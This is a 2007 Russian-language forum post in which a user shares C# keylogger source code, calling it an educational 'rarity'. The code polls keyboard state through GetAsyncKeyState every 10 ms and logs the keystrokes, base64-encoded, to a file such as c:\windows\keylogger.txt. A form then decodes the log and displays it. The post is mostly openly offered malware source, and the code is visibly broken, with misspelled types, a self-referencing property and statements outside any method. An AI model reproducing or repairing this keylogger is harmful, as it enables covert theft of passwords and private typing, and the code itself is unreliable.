
30.11.2007, 00:32
|
|
Постоянный
Регистрация: 16.04.2007
Сообщений: 398
С нами:
10037186
Репутация:
1462
|
|
и тут, как раз у меня завалялся у меня еще один обучающий "раритет" )
Код:
// KeyLogger на С# через GetAsyncKeyState
[DllImport("user32.dll")]
private static
extern short GetAsyncKeyState(System.Int32 vKey);
private String keybuffer;
private System.Timers.Timer CheckKey;
private System.Timers.Timer FlushBuffer;
private String file;
public Bolean Enabled
{
get
{
return CheckKey.Enabled && FlushBuffer.Enabled;
}
set
{
CheckKey.Enabled=value;
FlushBuffer.Enabled=value;
}
}
public Double FlushInterval
{
get
{
return FlushInterval.Interval;
}
set
{
FlushInterval.Interval=value;
}
}
public String File
{
get
{
return file;
}
set
{
file = value;
}
}
public KeyLogger(String filename)
{
keybuffer = string.Empty;
this.File = filename;
CheckKey = new System.Timers.Timer();
CheckKey.Enabled = true;
CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
CheckKey.Interval = 10;
FlushBuffer = new System.Timers.Timer();
FlushBuffer.Enabled = true;
FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
FlushBuffer.Interval = 120000;
}
foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys)))
{
if(GetAsyncKeyState(h) == -32767)
keybuffer+=Enum.GetName(typeof(System.Windows.Forms.Keys),h)+” “;
}
public void Flush2File(string file, bool append)
{
try
{
StreamWriter sw = new StreamWriter(file,append);
sw.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(keybuffer)));
sw.Close();
keybuffer = string.Empty;
}
catch(Exception ex)
{
throw ex;
}
}
string filename=@”c:\keylogger.txt”;
KeyLogger kl;
textBox1.Text=”60000”;
textBox3.Text=filename;
try
{
KeyLogger = new KeyLogger(filename);
Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
MessageBox.Show(“Йа - ошибко”);
}
//Код для формы
string filename=@”c:\windows\keylogger.txt”;
KeyLogger kl;
textBox1.Text=”60000”;
textBox3.Text=filename;
try
{
KeyLogger = new KeyLogger(filename);
Kl.FlushInterval = Convert.ToDouble(textBox1.text);
}
catch(Exception)
{
MessageBox.Show(“Йа - ошибко”);
}
kl.Enabled=true;
kl.Flush2File(textBox3.text,true);
kl.Flush2File(textBox3.text,true);
kl.Enabled=false;
StreamReader sr = new StreamReader(filename);
byte [] binary;
System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();
binary = Convert.FromBase64String(sr.ReadLine());
richTextBox1.Text = enc.GetString(binary);
while(!sr.EndOfStream)
{
binary = Convert.FromBase64String(sr.ReadLine());
richTextBox1.AppendText(enc.GetString(binary));
}
sr.Close();
ContextMenu contextMenu = new ContextMenu();
contextMenu.MenuItems.Add(“&jes_yo”,new EventHandler(this.jes_yo));
notifyIcon1.ContextMenu = contextMenu;
Последний раз редактировалось Jes; 30.11.2007 в 00:35..
|
|
|